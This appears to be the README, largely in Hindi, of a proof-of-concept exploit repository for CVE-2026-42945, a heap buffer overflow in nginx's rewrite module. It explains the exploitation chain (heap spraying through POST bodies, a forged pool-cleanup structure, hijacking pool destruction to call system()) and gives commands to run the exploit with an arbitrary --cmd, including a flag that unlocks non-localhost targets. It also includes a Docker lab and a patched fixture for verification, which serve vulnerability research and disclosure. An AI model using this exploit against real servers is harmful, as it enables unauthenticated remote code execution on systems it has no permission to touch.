
CVE-2026-42945 (nginx Rift) के लिए PoC — ngx_http_rewrite_module में हीप बफ़र ओवरफ्लो। इसमें डिटेक्ट/प्रोब/एक्सप्लॉइट मोड, डुअल-फिक्स्चर डॉकर लैब, अनुभवजन्य एड्रेस डिस्कवरी और OOB-सत्यापित ऑफसेट स्वीप शामिल हैं। depthfirst द्वारा मूल खुलासा।
RCE प्रूफ-ऑफ-कॉन्सेप्ट CVE-2026-42945 के लिए, जो NGINX के ngx_http_rewrite_module में 2008 में पेश किया गया एक गंभीर हीप बफर ओवरफ्लो है। यह rewrite ... ?... + set कैप्चर संयोजनों का उपयोग करने वाले सर्वरों के विरुद्ध बिना प्रमाणीकरण के रिमोट कोड निष्पादन सक्षम बनाता है।
मूल भेद्यता प्रकटीकरण: depthfirst — अपनी स्वायत्त स्रोत-ऑडिट प्रणाली के माध्यम से CVE-2026-42946, CVE-2026-40701, CVE-2026-42934 के साथ पाया गया।
poc-CVE-2026-42945/
├── exploit.py — improved PoC (3 modes: --check / --probe / --exploit)
├── poc.py.orig — original depthfirst PoC (reference)
├── env/ — dual-fixture Docker lab
│ ├── Dockerfile (vuln: nginx commit 98fc3bb78)
│ ├── Dockerfile.patched (patched: release-1.31.0)
│ ├── docker-compose.yml (both services)
│ ├── nginx.conf (vulnerable rewrite + set config)
│ ├── entrypoint.sh (runs under setarch -R — ASLR off)
│ └── server.py (backend stub)
├── discover-addresses.sh — extract HEAP_BASE / LIBC_BASE / system() offset from running container
├── verify.sh — dual-fixture reproducer (exploit vuln, prove patched blocks)
├── setup.sh — build helper (legacy single-image)
├── references.md — full bug mechanics, exploitation strategy, mitigations
└── README.md — this file
दो-पास स्क्रिप्ट इंजन, is_args फ़्लैग डिसिंक:
is_args = 0 देखता है → कच्ची कैप्चर लंबाई आवंटित करता हैis_args = 1 देखता है → ngx_escape_uri(NGX_ESCAPE_ARGS) 3x विस्तार → हीप ओवरफ्लोशोषण: POST /spray बॉडी (बॉडी में NUL बाइट्स की अनुमति है, नकली ngx_pool_cleanup_s लगाया गया) के माध्यम से हीप फेंग शुई + आसन्न ngx_pool_t.cleanup हेड को दूषित करने वाला URI ओवरफ्लो। पूल विनाश → system(cmd)।
पूर्ण यांत्रिकी + शोषण रणनीति references.md में।
| उत्पाद | प्रभावित | फिक्स्ड |
|---|---|---|
| NGINX Open Source | 0.6.27 – 1.30.0 | 1.30.1, 1.31.0 |
| NGINX Plus | R32 – R36 | R36 P4, R35 P2, R32 P6 |
विक्रेता सलाह: https://my.f5.com/manage/s/article/K000160932
# Build both fixtures
docker compose -f env/docker-compose.yml build
# Start lab (vuln=:19321, patched=:19421)
docker compose -f env/docker-compose.yml up -d
# Detect-only (no overflow trigger)
python3 exploit.py --check --host 127.0.0.1 --port 19321
# Full exploit
python3 exploit.py --exploit --host 127.0.0.1 --port 19321 \
--cmd 'echo pwned > /tmp/rift'
docker exec nginx-rift-vuln cat /tmp/rift
# Dual-fixture verify (exploit vuln + confirm patched blocks)
./verify.sh
# Teardown
docker compose -f env/docker-compose.yml down
गैर-लोकलहोस्ट लक्ष्यों के लिए --i-have-tested-this फ़्लैग आवश्यक है (यह स्वीकृति कि हार्डकोडेड ऑफ़सेट तैनात बिल्ड से मेल खाते हैं)।
डिफ़ॉल्ट --heap-base / --libc-base / --system-offset बंडल किए गए लैब के मान हैं (Ubuntu 22.04 / glibc 2.35 / nginx कमिट 98fc3bb78 / ASLR बंद)। नए बिल्ड या अलग libc के लिए:
docker compose -f env/docker-compose.yml up -d nginx-vuln
./discover-addresses.sh
# Copy values into exploit.py invocation
setarch -R के माध्यम से ASLR अक्षम करता है। वास्तविक लक्ष्यों में ASLR सक्षम होता है — अतिरिक्त सूचना-लीक प्रिमिटिव आवश्यक है।rewrite ... ? + set $X $N संयोजन आवश्यक है। कई वास्तविक कॉन्फ़िग में यह नहीं होता।--check डिटेक्ट मोड, --probe ऑफ़सेट गणना, पैच किया गया फिक्स्चर, एड्रेस-डिस्कवरी सहायक, डुअल-फिक्स्चर वेरिफायर जोड़ा गया| मोड | उपयोग का मामला | दुष्प्रभाव |
|---|
--check | रीराइट सतह की उपस्थिति का पता लगाएं | कोई नहीं — केवल छोटे प्रोब URI भेजता है |
--probe | इस बिल्ड के लिए स्प्रे-लैंडिंग ऑफ़सेट की गणना करें | खोज के दौरान वर्कर(s) क्रैश; कोई निष्पादन नहीं |
--exploit | पूर्ण RCE श्रृंखला | वर्कर क्रैश + --cmd के साथ system() कॉल |